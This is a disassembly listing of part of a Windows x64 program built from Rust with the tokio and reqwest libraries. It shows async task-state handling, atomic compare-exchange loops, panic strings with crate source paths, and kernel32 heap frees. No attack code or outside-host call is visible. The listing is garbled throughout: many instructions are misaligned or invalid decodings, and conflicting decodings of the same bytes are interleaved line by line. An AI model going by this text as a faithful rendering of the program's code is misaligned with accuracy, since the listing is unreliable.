add dword [rax], eax
add byte [rax + 0x66850f08], ch
add al, byte [rax]
add byte [rax - 0x637bf0f8], ch
add al, byte [rax]
add cl, ch
test al, 8
jne 0x1400c3b24
test al, 8
je 0x1400c3b62
int3
mov byte [rsi + 0x299], 1
lea r14, [rsi + 0x140]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax], bh
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsi + 0x140], eax
add byte [rax], al
mov rax, qword [rsi + 0x138]
mov qword [rsi + 0x140], rax
mov dword [rsi + 0x140], eax
mov dword [rsi + 0x140], eax
lea rbx, [rsi + 0x148]
mov r8d, 0x138
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
mov rcx, rbx
mov rdx, rsi
call fcn.140106530
lea rax, [rsi + 0x280]
lea eax, [rsi + 0x280]
lea eax, [rsi + 0x280]
mov qword [rsi + 0x280], rbx
mov qword [rsi + 0x288], rax
mov qword [rsi + 0x290], r14
nop
add al, byte [rax]
invalid
sahf
add byte [rdx], 0
add byte [rax - 0x77], cl
xchg byte [rax + 0x4c000002], cl
mov dword [rsi + 0x290], esi
nop
add al, byte [rax]
invalid
nop
add al, byte [rax]
add byte [rbx - 0x7af0fdc5], al
mov bl, 0xfe
invalid
cmp dword [rbx], 2
jne case.0x140051497.418
mov rax, qword [rbx + 8]
mov eax, dword [rbx + 8]
or byte [rax - 0x39], cl
or byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
test eax, eax
invalid
invalid
mov qword [rbx + 8], 0
test rax, rax
test eax, eax
test eax, eax
je 0x1400c3c55
sbb al, 3
add byte [rax], al
mov qword [rsp + 0x20], 3
lea rdx, [rsp + 0x28]
add byte [rax - 0x73], cl
push rsp
and al, 0x28
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0xb8]
mov eax, 0x41000000
mov eax, 0x90
add byte [rax], al
invalid
mov eax, 0x41000000
mov eax, 0x90
add byte [rax], al
invalid
add byte [rax], al
add al, ch
shr dword [rbx], 1
add al, 0
call fcn.140106530
mov ebx, 3
add eax, dword [rax]
add byte [rax], al
jmp 0x1400c3988
and cl, byte [rax - 0x73]
push rsp
and al, 0x28
lea rdx, [rsp + 0x28]
lea edx, [rsp + 0x28]
lea rcx, [rsp + 0xb8]
add byte [rax], al
mov r8d, 0x90
nop
add byte [rax], al
add byte [rax], al
call fcn.140106530
add byte [rax], al
call fcn.140106530
sub eax, dword [rax + rax]
cmp rbx, 5
je 0x1400c3c18
invalid
add eax, 0x290840f
add byte [rax], al
invalid
lea rcx, [rsp + 0x148]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb8
add byte [rax], al
add byte [rcx - 0x48], al
nop
add byte [rax], al
add al, ch
lea ebp, [rbx]
sub eax, dword [rax + rax]
lea rdx, [rsp + 0xb8]
mov r8d, 0x90
call fcn.140106530
sub eax, dword [rax + rax]
sub eax, dword [rax + rax]
mov byte [rsi + 0x299], 0
mov rdi, qword [rsi + 0x140]
mov edi, dword [rsi + 0x140]
mov edi, dword [rsi + 0x140]
add byte [rax - 0x7b], cl
dec dword [rdi]
test byte [rbx + 0x4c000002], al
invalid
invalid
test rdi, rdi
je 0x1400c3c3d
invalid
add byte [rbp + rcx*4 + 0x77], cl
cmp byte [rbx + 0x7404387f], al
jg 0x1400c39f9
add al, 0x74
lea r14, [rdi + 0x38]
lea esi, [rdi + 0x38]
cmp dword [rdi + 0x38], 4
je 0x1400c39cc
jg 0x1400c39f9
cmp byte [rsp + rsi*2], al
add al, 0x74
or byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov ecx, esi
call fcn.1400bfa30
mov qword [rdi + 0x38], rbx
mov dword [rdi + 0x38], ebx
cmp byte [rax - 0x73], cl
pop rdi
lea rdx, [rsp + 0x148]
add dword [rax], eax
invalid
lea rbx, [rdi + 0x40]
lea rdx, [rsp + 0x148]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x48], al
nop
add byte [rax], al
add byte [rax], al
mov rcx, rbx
call fcn.140106530
mov r8d, 0x90
add byte [rax], al
mov rcx, rbx
call fcn.140106530
mov rax, qword [rdi + 0x30]
nop
mov r15, rax
test r15b, 4
jne 0x1400c3a0b
mov rcx, r15
or rcx, 2
invalid
add cl, byte [rcx + rcx*4 - 8]
mov rax, r15
lock cmpxchg qword [rdi + 0x30], rcx
jne case.0x140070a56.331
mov eax, r15d
and eax, 5
add eax, 0x7501f883
invalid
and byte [rax + rax], al
add byte [rax], al
lock dec qword [rdi]
jne 0x1400c3a42
mov rcx, rdi
call fcn.1400bf9b0
mov edi, 0x7c83ffff
cmp dword [rsp + 0x20], 4
je 0x1400c3a53
invalid
and al, 0x20
add al, 0x74
or cl, byte [rax - 0x73]
and al, 0x20
lea rcx, [rsp + 0x20]
call fcn.1400bfa30
mov edi, 0x8d48ffff
mov cs, word [rax + 1]
lea rcx, [rsi + 0x148]
add byte [rax], al
call case.0x140095d16.166
cmp byte [rsi + 0x299], 0
je 0x1400c3abf
mov rdi, qword [rsi + 0x140]
test rdi, rdi
test edi, edi
test edi, edi
je 0x1400c3abf
mov rax, qword [rdi + 0x30]
nop dword [rax + rax]
mov rcx, rax
test cl, 4
jne 0x1400c3a9a
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
cmpxchg dword [rdi + 0x30], edx
cmpxchg dword [rdi + 0x30], edx
jne case.0x140096fc6.158
and ecx, 5
cmp ecx, 1
jne 0x1400c3aad
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
jne 0x1400c3abf
mov rcx, qword [rsi + 0x140]
add byte [rax], al
call fcn.1400bf9b0
mov byte [rsi + 0x299], 0
mov cl, 1
xor eax, eax
jmp 0x1400c3c1c
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x28]
sub byte [rcx - 0x48], al
nop
add byte [rax], al
invalid
mov rdx, rbx
call fcn.140106530
lock dec qword [rdi]
je 0x1400c3a3a
jmp 0x1400c3a42
xor ebx, ebx
mov bpl, 1
test r14, r14
jne 0x1400c38aa
invalid
xchg edx, eax
std
invalid
invalid
test dword [rdx + 0x48fffffd], edx
lea ecx, [0x140141840]
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140108970
add al, 0
add byte [rcx - 0x75], cl
sbb byte [rcx + 0x3b], r9b
or byte [r13 + 0xd], r14b
or byte [rbp + 0xd], dh
mov rcx, qword [r14 + 0x18]
cmp rcx, qword [r15 + 8]
or byte [rbp + 0xd], dh
or byte [rbp + 0xd], dh
or eax, 0x104e8b49
mov rcx, qword [r14 + 0x10]
adc byte [rcx + 0x3b], cl
invalid
cmp rcx, qword [r15]
cmp ecx, dword [rdi]
je 0x1400c38be
std
invalid
mov rax, qword [r14 + 0x30]
nop
xor byte [rax + 0x48c18948], r10b
and ecx, 0xfffffff7
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c3b40
test al, 4
jne 0x1400c3c32
fild dword [rax]
add byte [rax], al
mov rax, qword [r14 + 0x10]
mov rcx, qword [r14 + 0x18]
sbb dil, r15b
push rax
sbb byte [rax - 0x75], cl
mov eax, dword [rdi]
sbb dil, r15b
push rax
sbb byte [rax - 0x75], cl
mov eax, dword [rdi]
mov eax, dword [rdi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r14 + 0x10], rax
adc byte [rcx - 0x77], cl
push rsi
invalid
adc byte [rcx - 0x77], cl
push rsi
sbb byte [rcx - 0x75], cl
xor byte [rsi + 0xf], r12b
invalid
mov dword [rsi + 0x18], edx
mov rax, qword [r14 + 0x30]
nop word [rax + rax]
add byte [rax], r8b
add byte [rax], r8b
mov rcx, rax
mov ecx, eax
or rcx, 8
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c3b80
test al, 4
jne 0x1400c3a53
invalid
invalid
invalid
invalid
test bpl, bpl
jne 0x1400c3c18
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x140092cfa.202
test eax, eax
jne 0x1400c3c18
sal byte [rbp + 0x59], 0x8b
add eax, 0xbe74f
or eax, dword [rax]
mov eax, dword [0x140182314]
or eax, dword [rax]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
cmp ecx, dword [rbx]
add dword [rax], eax
push rax
add al, 2
add al, ch
cmp ecx, dword [rbx]
add dword [rax], eax
mov byte [rdi + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xbe72205], ecx
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov eax, dword [0x140182314]
add eax, 0xbe722
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], bl
sbb al, 1
add byte [rax], al
add dword [rax + 0x11d98], ecx
add bl, ch
invalid
jmp 0x1400c3c18
or cl, byte [rcx - 0x75]
invalid
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
mov ecx, dword [rdi + 8]
or r15b, r15b
push rax
call qword [rax + 0x10]
adc byte [rcx - 0x77fe4ffd], dh
mov cl, 3
mov al, 1
mov byte [rsi + 0x298], cl
add rsp, 0x1d8
fadd dword [rcx]
add byte [rax], al
mov ds, word [rax + 0x48000002]
add esp, 0x1d8
fadd dword [rcx]
add byte [rax], al
fadd dword [rcx]
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
dec dword [rax - 0x73]
or eax, 0x7dc14
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140108970
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
call fcn.140108b60
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.140108990
add al, 0
add al, 0
add byte [rax - 0x73], cl
or eax, 0x7dbfc
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140108970
int3
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x318
add eax, dword [rax]
invalid
add byte [rdi], cl
sub dword [rsp + 0x300], esi
movaps xmmword [rsp + 0x300], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x1400c3cba
invalid
invalid
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
leave
invalid
leave
add dword [rcx + 0x5eac0c2], ecx
mov edx, eax
shr dl, 5
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg dword [rsi], ecx
cmpxchg dword [rsi], ecx
je 0x1400c3ce5
test al, 4
je 0x1400c3f29
add al, 0xf
test byte [rdi + 2], ah
add byte [rax], al
test al, 3
je case.0x140099c8c.157
cmp rax, 0x3f
jbe 0x1400c3f41
xchg byte [rcx + 2], dh
add byte [rax], al
invalid
xchg byte [rcx + 2], dh
add byte [rax], al
lea rcx, [rax - 0x40]
cmp rcx, 0x40
cmp ecx, 0x40
cmp ecx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x1400c3cba
movzx eax, dl
lea rcx, [0x140178ae8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne case.0x1400a9119.86
lea rax, [0x14014ed10]
lea eax, [0x14014ed10]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x38], esi
and al, 0x38
cmp byte [rax - 0x73], cl
and al, 0x30
mov qword [rsp + 0x40], rax
and al, 0x40
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 0
cmp dword [rsi + 0x30], 3
add ecx, dword [rdi]
sub dword [rsi], 2
add al, byte cs:[rax]
invalid
add ecx, dword [rdi]
sub dword [rsi], 2
add al, byte cs:[rax]
invalid
add al, byte cs:[rax]
add byte [rax - 0x73], cl
xor byte [rax - 0x75], r9b
jle case.0x1400aa5f0.79
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x140182314]
add eax, 0xbe5db
invalid
or eax, dword [rax]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
add al, 0xc2
add byte [rax - 0x75], cl
add al, 0xc2
movzx eax, byte [rax + 0x120]
add byte [rax], al
cmp eax, 1
je case.0x1400a8746.99
xorps xmm6, xmm6
test eax, eax
jne 0x1400c3dbc
test byte [rbp - 0x749c8a40], 5
mov ch, 0xe5
or eax, dword [rax]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
xchg al, dl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x202b6
mov rbx, rcx
mov ebx, ecx
mov ebx, ecx
mov rcx, rax
call fcn.1400d4720
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov byte [rsi + 0x120], 1
mov byte [rsi + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xbe57e05], ecx
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
add byte [rax], al
invalid
lea rdx, [rsp + 0x40]
and al, 0x40
call fcn.1400c3790
call fcn.1400c3790
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
stc
invalid
stc
add dword [rbp + rsi - 0x7b], esi
je 0x1400c3e1a
test ecx, ecx
je 0x1400c3e1a
test ecx, ecx
jne case.0x1400b36b6.56
mov ecx, dword [0x140182314]
or eax, dword [rax]
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
lea edx, [0x1400e4030]
mov ebx, eax
call fcn.1400d4720
mov eax, ebx
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add dword [rbx + 0xbe4f40d], ecx
in al, 0xb
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax], al
in al, 0xb
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
add byte [rax], al
add byte [rax - 0x73], cl
lea rdi, [rsi + 0x20]
lea rdi, [rsi + 0x20]
test al, al
je 0x1400c3ecf
invalid
pop qword [rax]
add byte [rax], al
test byte [rdi + 0x48000000], cl
mov ecx, esi
mov rcx, rsi
call fcn.1400e6c50
add byte [rdi], cl
mov dh, 0xc0
movzx eax, al
lea rcx, [0x140178af8]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
or dword [rax + 1], 0x48e0ffc8
add eax, ecx
enter 0xffffffffffffe0ff, 0x48
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eaa70
bnd call fcn.1400eaa70
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400c3f91
adc al, 1
add byte [rax], al
invalid
invalid
adc al, 1
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400c3cf6.2
add byte [rax], al
mov rcx, rsi
mov ecx, esi
call fcn.1400c4290
jmp case.0x1400c3cf6.2
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x60], 4
and al, 0x60
add al, 0
add byte [rax], al
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c3460
mov rax, qword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov eax, dword [rsi + 0x28]
mov qword [rsp + 0x68], 1
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x80], rax
jmp 0x1400c3ef6
mov qword [rsp + 0x60], 4
mov dword [rsp + 0x60], 4
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c3460
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], 0
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x60], 3
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.1400c3460
mov rcx, rsi
call fcn.1400c4350
movaps xmm6, xmmword [rsp + 0x300]
add rsp, 0x318
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014e998]
mov edx, 0x24
call fcn.140108630
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ecf8]
mov edx, 0x26
call fcn.140108630
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rsP
lea rcx, [rsp + 0x60]
call fcn.140108560
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ec30]
mov edx, 0x27
call fcn.140108630
int3
add ecx, eax
mov r9, qword [rsi + r9]
mov rdx, qword [rsi + rdx + 0x78]
mov r8, qword [rsi + rax + 0x78]
call qword [r9 + 0x10]
cmp byte [rsi + 0x68], 3
je 0x1400c46c5
lea rcx, [rsi + 0x48]
call fcn.140085650
mov rdi, qword [rsi + 0x30]
mov rbx, qword [rsi + 0x38]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400c46f6
cmp qword [rbx + 0x10], 0x11
jb 0x1400c46e4
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, qword [rsi + 0x18]
test r8b, 1
jne 0x1400c472f
lock dec qword [r8 + 0x20]
jne 0x1400c473c
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x1400c4747
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
in al, dx
add al, 0
in al, dx
add al, 0
mov r8, rsi
jmp 0x1400c4747
shr r8, 5
neg r8
cmp qword [rsi + 0x10], r8
jne 0x1400c4744
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add r8, qword [rsi]
mov rcx, qword [0x140182260]
adc bl, bl
or eax, dword [rax]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
call fcn.1400d4720
mov byte [r15 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0x11c]
movzx r15d, byte [rax + 0x11d]
mov eax, r15d
test bpl, bpl
je 0x1400c4811
test r15b, r15b
je 0x1400c485d
lea eax, [r15 - 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11d], al
mov rax, qword [r14 + 0x30]
test al, 2
je 0x1400c4848
jmp 0x1400c4975
test al, 4
jne 0x1400c49f3
test al, 1
jne 0x1400c4873
test al, 1
je 0x1400c48b2
jmp 0x1400c48e7
mov rax, qword [r12]
mov rcx, qword [r12 + 8]
call qword [rax + 0x10]
mov ebx, 5
jmp 0x1400c49f8
mov rcx, qword [r14 + 0x28]
cmp rcx, qword [r12 + 8]
jne 0x1400c4888
mov rcx, qword [r14 + 0x20]
cmp rcx, qword [r12]
je 0x1400c4854
mov rax, qword [r14 + 0x30]
nop dword [rax]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c4890
test al, 2
jne 0x1400c496f
mov rax, qword [r14 + 0x20]
mov rcx, qword [r14 + 0x28]
call qword [rax + 0x18]
mov rax, qword [rbx]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r14 + 0x20], rax
mov qword [r14 + 0x28], rdx
mov rax, qword [r14 + 0x30]
nop word [rax + rax]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c48d0
test al, 2
jne 0x1400c4975
mov ebx, 5
test bpl, bpl
je 0x1400c49f8
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400c4949
test eax, eax
jne 0x1400c49f8
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rdi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], r15b
jmp 0x1400c49f8
lock or qword [r14 + 0x30], 1
mov rbx, qword [r14 + 0x38]
mov qword [r14 + 0x38], 4
cmp rbx, 4
je 0x1400c49f3
lea rdx, [r14 + 0x40]
lea rcx, [rsp + 0x50]
mov r8d, 0x90
call fcn.140106530
cmp rbx, 4
je 0x1400c49f3
cmp rbx, 5
je 0x1400c49f8
lea rcx, [rsp + 0xe0]
lea rdx, [rsp + 0x50]
mov r8d, 0x90
call fcn.140106530
lock dec qword [r14]
jne 0x1400c49cd
mov rcx, qword [rdi]
call fcn.1400bf9b0
mov qword [rdi], 0
mov qword [rsi], rbx
add rsi, 8
lea rdx, [rsp + 0xe0]
mov r8d, 0x90
mov rcx, rsi
call fcn.140106530
add bl, ch
invalid
add bl, ch
or byte [rbx + 4], bh
mov ebx, 4
mov qword [rsi], rbx
add rsp, 0x170
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
invalid
jmp rax
add byte [rdi], cl
test byte [rcx + rax - 0x76b80000], ah
invalid
je 0x1400c4b61
call qword [rax + 8]
lock dec qword [rdi]
jne 0x1400c4b6f
mov rcx, rdi
call fcn.1400bf630
mov rax, qword [rsi + 8]
mov qword [rsi + 8], 0
test rax, rax
je 0x1400c4c51
movups xmm0, xmmword [rsi + 0x10]
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x38]
call fcn.1400e3930
mov rbx, qword [rsp + 0x30]
mov rcx, 0xffffffffffffffff
mov eax, 1
lock cmpxchg qword [rbx + 8], rcx
jne 0x1400c4c5a
mov rax, qword [rbx]
mov qword [rbx + 8], 1
cmp rax, 1
jne 0x1400c4c5a
mov rsi, qword [rbx + 0x20]
mov rdi, qword [rbx + 0x28]
cmp qword [rbx + 0x18], 0
mov qword [rbx + 0x18], 0
je 0x1400c4c7e
mov rax, qword [rsp + 0x28]
lock dec qword [rax]
je 0x1400c4c01
lock dec qword [rbx]
je 0x1400c4c11
test rsi, rsi
jne 0x1400c4c20
jmp 0x1400c4c51
mov rcx, qword [rsp + 0x28]
call fcn.140039680
lock dec qword [rbx]
jne 0x1400c4bfa
lea rcx, [rsp + 0x30]
call fcn.1400e4860
add byte [rax - 0x7b], cl
invalid
je 0x1400c4c51
add byte [rax - 0x7b], cl
div byte [rcx + rsi + 0x48]
mov ecx, esi
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400c4c51
cmp qword [rdi + 0x10], 0x11
jb 0x1400c4c37
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
lea rcx, [0x14014c330]
call fcn.140108970
lea rcx, [0x140143a41]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
mov edx, 0x16
call fcn.140108990
lea rcx, [0x14014c348]
call fcn.140108970
int3
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rcx]
lea rbx, [rdi + 0x10]
mov rcx, rbx
call fcn.1400c4ab0
mov r14, qword [rdi + 0x10]
test r14, r14
je 0x1400c4f3f
lock dec qword [r14 + 0x1c8]
jne 0x1400c4f31
lea rcx, [r14 + 0x80]
mov edx, 1
lock xadd qword [r14 + 0x88], rdx
call fcn.140065900
movabs rcx, 0x200000000
lock or qword [rax + 0x2310], rcx
mov byte [rax], dl
and eax, dword [rax]
add byte [rcx - 0x75], cl
xchg byte [rax], dl
add dword [rax], eax
add byte [rdi], cl
invalid
add byte [rax], 0
add byte [rax], al
mov byte [rax], dl
and eax, dword [rax]
add byte [rcx - 0x75], cl
xchg byte [rax], dl
add dword [rax], eax
add byte [rdi], cl
invalid
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r14 + 0x110], rcx
jne 0x1400c4ef0
test rax, rax
jne 0x1400c4f31
mov rax, qword [r14 + 0x100]
mov rcx, qword [r14 + 0x108]
mov qword [r14 + 0x100], 0
lock and qword [r14 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400c4f31
call qword [rax + 8]
lock dec qword [r14]
jne 0x1400c4f3f
mov rcx, qword [rbx]
call fcn.1400bf630
mov rbx, qword [rdi + 0x18]
test rbx, rbx
je 0x1400c4f77
mov rcx, qword [rdi + 0x28]
call qword [sym.imp.kernel32.dll_CloseHandle]
lock dec qword [rbx]
jne 0x1400c4f61
mov rcx, qword [rdi + 0x18]
call fcn.140039680
mov rax, qword [rdi + 0x20]
lock dec qword [rax]
jne 0x1400c4f77
add rdi, 0x20
mov rcx, rdi
call fcn.1400e4860
mov r8, qword [rsi]
cmp r8, 0xffffffffffffffff
je 0x1400c4fa0
lock dec qword [r8 + 8]
jne 0x1400c4fa0
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
add byte [rax], al
add byte [rax - 0x39], cl
or byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rax + rax], al
add byte [rax], al
mov qword [rsp + 0xe0], rax
lock inc qword [rax]
jle 0x1400c77e1
lea rdx, [rsi + 0x10]
mov qword [rsp + 0x110], r12
mov qword [rsp + 0x118], r14
lea rcx, [rsp + 0x120]
mov r8d, 0x100
call fcn.140106530
mov ebp, 2
cmp rbx, 2
je 0x1400c52c0
test rbx, rbx
je 0x1400c50c0
mov rdi, r15
mov rdx, r13
movdqa xmm7, xmm6
jmp 0x1400c51c5
lea rcx, [rsp + 0x3b0]
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
call fcn.1400347d0
mov rax, qword [rsp + 0x3d0]
mov qword [rsp + 0x340], rax
movups xmm0, xmmword [rsp + 0x3b0]
movups xmm1, xmmword [rsp + 0x3c0]
movaps xmmword [rsp + 0x330], xmm1
movaps xmmword [rsp + 0x320], xmm0
movups xmm0, xmmword [rsp + 0x3d8]
movaps xmmword [rsp + 0x540], xmm0
movups xmm0, xmmword [rsp + 0x3e8]
movaps xmmword [rsp + 0x550], xmm0
movups xmm0, xmmword [rsp + 0x3f8]
movaps xmmword [rsp + 0x560], xmm0
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400c72d6
movaps xmm0, xmmword [rsp + 0x540]
movaps xmm1, xmmword [rsp + 0x550]
movaps xmm2, xmmword [rsp + 0x560]
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
